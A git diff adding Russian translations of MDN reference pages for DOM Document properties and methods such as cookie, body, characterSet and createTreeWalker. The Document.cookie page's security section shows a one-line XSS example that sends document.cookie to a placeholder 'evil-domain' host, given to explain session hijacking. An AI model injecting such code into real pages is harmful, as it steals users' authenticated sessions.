+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-document-anchors', 'Document.anchors')}}{{ Spec2('HTML WHATWG') }}Obsoleted.
{{SpecName('DOM2 HTML', 'html.html#ID-7577272', 'Document.anchors')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.anchors")}}

+ +

 

diff --git a/files/ru/web/api/document/applets/index.html b/files/ru/web/api/document/applets/index.html new file mode 100644 index 0000000000..c82cbdb403 --- /dev/null +++ b/files/ru/web/api/document/applets/index.html @@ -0,0 +1,71 @@ +--- +title: Document.applets +slug: Web/API/Document/applets +tags: + - API + - Document + - HTML DOM + - Апплеты + - Документ +translation_of: Web/API/Document/applets +--- +

{{APIRef("DOM")}}

+ +

applets возвращает массив апплетов, находящихся в документе.

+ +
+

Note: The {{htmlelement("applet")}} element was removed in Gecko 56 and Chrome in late 2015. Since then, calling document.applets in those browsers always returns an empty {{domxref("HTMLCollection")}}. Removal is being considered in WebKitand Edge.

+
+ +

Синтаксис

+ +
nodeList = document.applets
+
+ +

 

+ +

Значение

+ +

{{domxref("HTMLCollection")}}.

+ +

 

+ +

Пример

+ +
// Когда вы точно знаете, что вам нужен 2й апплет
+my_java_app = document.applets[1];
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}{{ Spec2('HTML WHATWG') }}Obsoleted.
{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.applets")}}

+ +

 

diff --git a/files/ru/web/api/document/async/index.html b/files/ru/web/api/document/async/index.html new file mode 100644 index 0000000000..2ff21f28af --- /dev/null +++ b/files/ru/web/api/document/async/index.html @@ -0,0 +1,35 @@ +--- +title: Document.async +slug: Web/API/Document/async +translation_of: Web/API/XMLDocument/async +--- +

{{APIRef("DOM")}}{{Deprecated_header}} {{Non-standard_header}}

+ +

document.async может быть установлен, для того, чтобы определить, что вызов {{domxref("document.load")}} должен быть выполнен синхронно или не синхронно. true - стандартное значение, определяющее, асинхронно ли должны быть загружены документы.

+ +

(Загружать документы синхронно стало возможно с версии 1.4 alpha.)

+ +

Пример

+ +
function loadXMLData(e) {
+  alert(new XMLSerializer().serializeToString(e.target)); // Gives querydata.xml contents as string
+}
+
+var xmlDoc = document.implementation.createDocument("", "test", null);
+
+xmlDoc.async = false;
+xmlDoc.onload = loadXMLData;
+xmlDoc.load('querydata.xml');
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/document/bgcolor/index.html b/files/ru/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..60d802621a --- /dev/null +++ b/files/ru/web/api/document/bgcolor/index.html @@ -0,0 +1,45 @@ +--- +title: Document.bgColor +slug: Web/API/Document/bgColor +tags: + - API + - Deprecated + - Property +translation_of: Web/API/Document/bgColor +--- +

{{APIRef("DOM")}} {{ Deprecated_header() }}

+ +

Устаревшее свойство bgColor возвращает или устанавливает цвет фона текущего документа.

+ +

Синтаксис

+ +
color = document.bgColor
+document.bgColor =color
+
+ +

Параметры

+ + + +

Пример

+ +
document.bgColor = "darkblue";
+
+ +

Примечание

+ +

В Firefox это поле по умолчанию содержит белый цвет (#ffffff в шестнадцатиричном виде).

+ +

Поле document.bgColor признано устаревшим в DOM Level 2 HTML. В качестве альтернативы рекомендуется использовать CSS стиль {{Cssxref("background-color")}} который доступен через DOM как document.body.style.backgroundColor. Другой альтернативой доступа является document.body.bgColor, хотя этот вариант также признан устаревшим в HTML 4.01 и также рекомендуется использовать CSS.

+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.bgColor")}}

+ +

 

diff --git a/files/ru/web/api/document/body/index.html b/files/ru/web/api/document/body/index.html new file mode 100644 index 0000000000..1a6be5d191 --- /dev/null +++ b/files/ru/web/api/document/body/index.html @@ -0,0 +1,87 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - BODY + - Document + - frameset +translation_of: Web/API/Document/body +--- +
{{APIRef("DOM")}}
+ +

Возвращает узел {{HTMLElement("body")}} или {{HTMLElement("frameset")}} текущей страницы, или null если таких элементов не существует.

+ +

Синтаксис

+ +
var objRef = document.body;
+document.body = objRef;
+ +

Пример

+ +
// в HTML: <body id="oldBodyElement"></body>
+alert(document.body.id); // "oldBodyElement"
+
+var aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+
+ +

Примечания

+ +

document.body это элемент, который включает в себя содержимое страницы. На страницах с <body> вернётся элемент <body>, а с frameset'ом - элемент <frameset>.

+ +

body может быть заменено, но это удалит все его дочерние элементы.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}{{Spec2('HTML5 W3C')}} 
{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}{{Spec2('DOM2 HTML')}} 
{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}{{Spec2('DOM1')}}Исходное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Document.body")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/characterset/index.html b/files/ru/web/api/document/characterset/index.html new file mode 100644 index 0000000000..021ce45b4a --- /dev/null +++ b/files/ru/web/api/document/characterset/index.html @@ -0,0 +1,119 @@ +--- +title: Document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Read-only +translation_of: Web/API/Document/characterSet +--- +

{{ ApiRef("DOM") }}

+ +

Document.characterSet доступное только для чтения свойство, возвращает кодировку текущей страницы. Кодировка это набор символов, используемый для отрисовки документа, которая может отличаться от кодировки, заданной на странице (пользователь может переназначить кодировку)

+ +
+

Свойства document.charset и document.inputEncoding это устаревшие алиасы document.characterSet. Не используйте их больше.

+
+ +

Синтаксис

+ +
var string = document.characterSet
+ +

Примеры

+ +
<button onclick="alert(document.characterSet);">Показать кодировку</button>
+// вернёт кодировку документа вида "ISO-8859-1" или "UTF-8"
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}{{Spec2('DOM WHATWG')}}Исходное определение.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
кодировкаСделано read-only в  {{CompatChrome(45)}}{{CompatGeckoDesktop(44)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatNo}}{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(45.0)}}
кодировка{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(44)}}2.5{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/document/close/index.html b/files/ru/web/api/document/close/index.html new file mode 100644 index 0000000000..ba5d9ff72a --- /dev/null +++ b/files/ru/web/api/document/close/index.html @@ -0,0 +1,63 @@ +--- +title: Document.close() +slug: Web/API/Document/close +tags: + - API + - Document + - HTML DOM + - Справка + - метод +translation_of: Web/API/Document/close +--- +

{{APIRef("DOM")}}

+ +

Метод document.close() завершает запись в документ, открытый с помощью document.open().

+ +

Синтаксис

+ +
document.close();
+
+ +

Пример

+ +
// открытие документа для записи в него.
+// запись содержимого документа.
+// закрытие документа.
+document.open();
+document.write("<p>The one and only content.</p>");
+document.close();
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}{{Spec2("DOM2 HTML")}} 
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.close")}}

+ +

 

diff --git a/files/ru/web/api/document/compatmode/index.html b/files/ru/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..f8a48a4ca2 --- /dev/null +++ b/files/ru/web/api/document/compatmode/index.html @@ -0,0 +1,50 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - almost standards + - quirk + - standards + - Свойство + - режимы +translation_of: Web/API/Document/compatMode +--- +

{{ ApiRef("DOM") }}

+ +

Определяет когда документ отображается в Quirks mode или Стандартном режиме.

+ +

Синтаксис

+ +
mode = document.compatMode
+
+ +

Значения

+ + + +
+
mode
+
Исчислимая величина, которая может быть:
+
+ +
+

Примечание: все эти режимы внесены в стандарт, поэтому старые названия "standards" и "almost standards" теперь бессмысленны и не используются.

+
+ +

Пример

+ +
if (document.compatMode == "BackCompat") {
+  // в Quirks режиме
+}
+
+ +

Спецификации

+ + diff --git a/files/ru/web/api/document/contenttype/index.html b/files/ru/web/api/document/contenttype/index.html new file mode 100644 index 0000000000..78f90fc116 --- /dev/null +++ b/files/ru/web/api/document/contenttype/index.html @@ -0,0 +1,23 @@ +--- +title: Document.contentType +slug: Web/API/Document/contentType +translation_of: Web/API/Document/contentType +--- +

{{ ApiRef("DOM") }}{{Non-standard_header}}

+ +

Возвращает MIME-тип при рендеринге страницы. Информация может поступать из заголовка HTTP или других ресурсов MIME.

+ +

Синтаксис

+ +
contentType = document.contentType;
+
+ +

Свойство contentType доступно только для чтения.

+ +

Заметки

+ +

Свойство не влияет на МЕТА теги.

+ +

Спецификации

+ +

Не является стандартом, поддерживается только Gecko. Для использования только в отладчике chrome (Extensions и XUL Mozilla Firefox).

diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html new file mode 100644 index 0000000000..286bb779f8 --- /dev/null +++ b/files/ru/web/api/document/cookie/index.html @@ -0,0 +1,360 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - API + - Document + - HTML DOM + - JS + - cookie +translation_of: Web/API/Document/cookie +--- +
{{APIRef("DOM")}}
+ +

Статья описывает получение и установку cookies связанных с текущим документом. Общая библиотека для работы с  cookies смотри simple cookie framework.

+ +

Синтаксис

+ +

Чтение всех cookies, связанных с текущим документом

+ +
allCookies = document.cookie;
+ +

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

+ + + + + +

В приведенном коде newCookie - строка в виде key=value. Заметьте, у вас есть возможность установить/обновить лишь одну связку key=value за один раз, используя этот метод.  Стоит отметить, что:

+ + + +
+

Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

+
+ +

Примеры

+ +

Пример #1: Простое использование

+ +
document.cookie = "name=oeschger";
+document.cookie = "favorite_food=tripe";
+function alertCookie() {
+  alert(document.cookie);
+}
+
+ +
<button onclick="alertCookie()">Show cookies</button>
+
+ +

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

+ + + +
document.cookie = "test1=Hello";
+document.cookie = "test2=World";
+
+var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
+
+function alertCookieValue() {
+  alert(cookieValue);
+}
+
+ +
<button onclick="alertCookieValue()">Show cookie value</button>
+ +

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

+ +

Пример #3: Выполнить операцию единожды

+ +

При использовании следующего кода замените все вхождения doSomethingOnlyOnce (наименование cookie) на другое имя.

+ +
function doOnce() {
+  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+    alert("Do something here!");
+    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
+  }
+}
+ +
<button onclick="doOnce()">Only do something once</button>
+ +

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

+ + + +
function resetOnce() {
+  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
+}
+ +
<button onclick="resetOnce()">Reset only once cookie</button>
+ +

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

+ + + +
//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.trim().indexOf('reader=') == 0
+}).length) {
+    console.log('The cookie "reader" exists (ES5)')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) => item.trim().startsWith('reader=')).length) {
+    console.log('The cookie "reader" exists (ES6)')
+}
+ + + +
//ES5
+
+if (document.cookie.split(';').filter(function(item) {
+    return item.indexOf('reader=1') >= 0
+}).length) {
+    console.log('The cookie "reader" has "1" for value')
+}
+
+//ES2016
+
+if (document.cookie.split(';').filter((item) => item.includes('reader=1')).length) {
+    console.log('The cookie "reader" has "1" for value')
+}
+ +

Безопасность

+ +

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

+ +

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+
+ +

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

+ +

Заметки

+ + + +

The reason of the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

+ + + +
HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: cookie_name1=cookie_value1
+Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
+
+[content of the page here]
+ +
The client sends back to the server its cookies previously stored
+ +
GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
+Accept: */*
+
+ +

Использование относительных ссылок в параметре path

+ +

The path parameter of a new cookie can accept only absolute paths. If you want to use relative paths, therefore, you need to convert them. The following function can translate relative paths to absolute paths. It is a general-purpose function, but can be of course successifully used for the path parameter of a new cookie, as well.

+ +
Library
+ +
/*\
+|*|
+|*|  :: Translate relative paths to absolute paths ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  The following code is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+\*/
+
+function relPathToAbs (sRelPath) {
+  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
+  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
+    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
+    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
+  }
+  return sDir + sPath.substr(nStart);
+}
+ +
Sample usage
+ +
/* Let us be in /en-US/docs/Web/API/document.cookie */
+
+alert(location.pathname);
+// displays: /en-US/docs/Web/API/document.cookie
+
+alert(relPathToAbs("./"));
+// displays: /en-US/docs/Web/API/
+
+alert(relPathToAbs("../Guide/API/DOM/Storage"));
+// displays: /en-US/docs/Web/Guide/API/DOM/Storage
+
+alert(relPathToAbs("../../Firefox"));
+// displays: /en-US/docs/Firefox
+
+alert(relPathToAbs("../Guide/././API/../../../Firefox"));
+// displays: /en-US/docs/Firefox
+ + + +

If you don't want to use an absolute date for the end parameter, here you can find some numeric examples of expiration-dates relative to the moment of storage of the cookie:

+ +
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
+docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
+docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
+docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR
+ +

Другие примеры

+ +

Example #5: Do something only once – a general library

+ +

Библиотека

+ +
function executeOnce () {
+  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
+  if (bImplGlob) { argc++; }
+  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
+  var fExec = arguments[0], sKey = arguments[argc - 2];
+  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
+  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
+  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
+  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
+  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
+  return true;
+}
+ +

Синтаксис

+ +
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
+ +

Описание

+ +

Executes a function only once, even after the refresh of the page.

+ +

Параметры

+ +
+
callback
+
The function to be executed ({{jsxref("function", "", "", "1")}}).
+
thisObject Optional
+
The {{jsxref("Operators/this", "this")}} object ({{jsxref("Object", "", "", "1")}} or {{jsxref("Global_Objects/null", "null")}}).
+
argumentToPass1, argumentToPass2, argumentToPassN Optional
+
The arguments of the callback function.
+
identifier
+
The identifier to check, i.e. the name of the cookie ({{jsxref("String", "string", "", "1")}})
+
onlyHere Optional
+
A {{jsxref("Boolean", "boolean", "", "1")}} expressing whether the cookie will use the local path (true) instead of the global one (false or undefined) ({{jsxref("Boolean", "boolean", "", "1")}} or {{jsxref("Global_Objects/undefined", "undefined")}})
+
+ +

Примеры использования

+ +
function alertSomething (sMsg) {
+  alert(sMsg);
+}
+
+executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}Initial definition
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.cookie")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/document/createattribute/index.html b/files/ru/web/api/document/createattribute/index.html new file mode 100644 index 0000000000..97cbba7120 --- /dev/null +++ b/files/ru/web/api/document/createattribute/index.html @@ -0,0 +1,86 @@ +--- +title: Document.createAttribute() +slug: Web/API/Document/createAttribute +translation_of: Web/API/Document/createAttribute +--- +
{{ ApiRef("DOM") }}
+ +

Метод Document.createAttribute() создает новый атрибут узла и возвращает его.  Созданный объект узла реализует {{domxref("Attr")}} интерфейс . DOM не указывает, какие атрибуты могут быть добавлены к определенному элементу таким способом.

+ +
+

Строка, заданная в параметре, преобразуется в нижний регистр.

+
+ +

Syntax

+ +
attribute = document.createAttribute(name)
+
+ +

Parameters

+ + + +

Return value

+ +

A {{domxref("Attr")}} node.

+ +

Exceptions

+ + + +

Example

+ +
var node = document.getElementById("div1");
+var a = document.createAttribute("my_attrib");
+a.value = "newVal";
+node.setAttributeNode(a);
+console.log(node.getAttribute("my_attrib")); // "newVal"
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}{{Spec2("DOM WHATWG")}}Точное поведение с прописными символами
{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}{{Spec2('DOM3 Core')}}No change.
{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}{{Spec2('DOM2 Core')}}No change.
{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}{{Spec2('DOM1')}}Первоначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Document.createAttribute")}}

+ +

See also

+ + diff --git a/files/ru/web/api/document/createcomment/index.html b/files/ru/web/api/document/createcomment/index.html new file mode 100644 index 0000000000..998d803e64 --- /dev/null +++ b/files/ru/web/api/document/createcomment/index.html @@ -0,0 +1,44 @@ +--- +title: Document.createComment() +slug: Web/API/Document/createComment +translation_of: Web/API/Document/createComment +--- +
{{ApiRef("DOM")}}
+ +

Основное

+ +

createComment() создаёт новый комментарий и возвращает его.

+ +

Синтаксис

+ +
CommentNode = document.createComment(data)
+
+ +

Аргументы

+ +
+
data
+
Строка, которая будет внутри комментария
+
+ +

Пример

+ +
var docu = new DOMParser().parseFromString('<xml></xml>',  "application/xml");
+var comment = docu.createComment('Это комментарий на странице');
+
+docu.getElementsByTagName('xml')[0].appendChild(comment);
+
+alert(new XMLSerializer().serializeToString(docu));
+// Выведет: <xml><!--Это комментарий на странице--></xml>
+ +

Примечания

+ + + +

Спецификация

+ + diff --git a/files/ru/web/api/document/createdocumentfragment/index.html b/files/ru/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..adc966e765 --- /dev/null +++ b/files/ru/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,137 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +
{{ApiRef("DOM")}}
+ +

Создает новый пустой {{domxref("DocumentFragment")}}.

+ +

Syntax

+ +
var fragment = document.createDocumentFragment();
+
+ +

fragment это ссылка на пустой объект {{domxref("DocumentFragment")}}.

+ +

Description

+ +

DocumentFragments являются DOM нодами. Они, при этом, не являются частями основного дерева DOM. Обычно используются для создания фрагмента документа, добавления в него новых элементов/нод, а затем присоединения этого фрагмента к основному дереву. В основном дереве фрагмент буден заменён собственными дочерними элементами.

+ +

Поскольку фрагмент документа хранится в памяти и не является частью основного дерева, добавление в него дочерних элементов не вызывает reflow (вычисление геометрии и позиций элементов). В следствие этого, использование фрагментов документа часто увеличивает производительность.

+ +

Example

+ +
var element  = document.getElementById('ul'); // assuming ul exists
+var fragment = document.createDocumentFragment();
+var browsers = ['Firefox', 'Chrome', 'Opera',
+    'Safari', 'Internet Explorer'];
+
+browsers.forEach(function(browser) {
+    var li = document.createElement('li');
+    li.textContent = browser;
+    fragment.appendChild(li);
+});
+
+element.appendChild(fragment);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}No change
{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM4')}}Clarifies that the node document of the created document fragment is the context object.
{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM3 Core')}}No change
{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM2 Core')}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidEdgeIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/document/createrange/index.html b/files/ru/web/api/document/createrange/index.html new file mode 100644 index 0000000000..823af66676 --- /dev/null +++ b/files/ru/web/api/document/createrange/index.html @@ -0,0 +1,33 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +translation_of: Web/API/Document/createRange +--- +
{{APIRef("DOM")}}
+ +

Возвращает новый объект типа {{domxref("Range")}}.

+ +

Syntax

+ +
range = document.createRange();
+
+ +

range содержит созданный объект {{domxref("Range")}}.

+ +

Example

+ +
var range = document.createRange();
+
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+
+ +

Notes

+ +

После того, как Range был создан, Вам необходимо установить границы, прежде чем вы сможете использовать большую часть методов.

+ +

Specification

+ + diff --git a/files/ru/web/api/document/createtextnode/index.html b/files/ru/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..a076f8316f --- /dev/null +++ b/files/ru/web/api/document/createtextnode/index.html @@ -0,0 +1,120 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +translation_of: Web/API/Document/createTextNode +--- +
{{APIRef("DOM")}}
+ +

Создает новый текстовый узел.

+ +

Синтаксис

+ +
var text = document.createTextNode(data);
+
+ + + +

Пример

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>createTextNode example</title>
+<script>
+function addTextNode(text) {
+  var newtext = document.createTextNode(text),
+      p1 = document.getElementById("p1");
+
+  p1.appendChild(newtext);
+}
+</script>
+</head>
+
+<body>
+  <button onclick="addTextNode('YES! ');">YES!</button>
+  <button onclick="addTextNode('NO! ');">NO!</button>
+  <button onclick="addTextNode('WE CAN! ');">WE CAN!</button>
+
+  <hr />
+
+  <p id="p1">First line of paragraph.</p>
+</body>
+</html>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}{{Spec2("DOM3 Core")}}No change
{{SpecName("DOM2 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

Совместимость

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/document/createtreewalker/index.html b/files/ru/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..452fb1651e --- /dev/null +++ b/files/ru/web/api/document/createtreewalker/index.html @@ -0,0 +1,155 @@ +--- +title: Document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +translation_of: Web/API/Document/createTreeWalker +--- +
{{ApiRef("Document")}}
+ +
Вызов метода Document.createTreeWalker() возвращает новый объект класса  {{domxref("TreeWalker")}}.
+ +

Синтаксис

+ +
document.createTreeWalker(root, whatToShow[, filter[, entityReferenceExpansion]]);
+
+ +

Параметры

+ +
+
root
+
корневой узел {{domxref("Node")}} для {{domxref("TreeWalker")}}. Чаще всего это элемент принадлежащий document.
+
whatToShow {{optional_inline}}
+
A unsigned long representing a bitmask created by combining the constant properties of NodeFilter. It is a convenient way of filtering for certain types of node. It defaults to 0xFFFFFFFF representing the SHOW_ALL constant. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаЧисловое значениеОписание
NodeFilter.SHOW_ALL-1 (that is the max value of unsigned long)Показывать все узлы.
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2Shows attribute {{domxref("Attr")}} nodes. This is meaningful only when creating a {{domxref("TreeWalker")}} with an {{domxref("Attr")}} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.
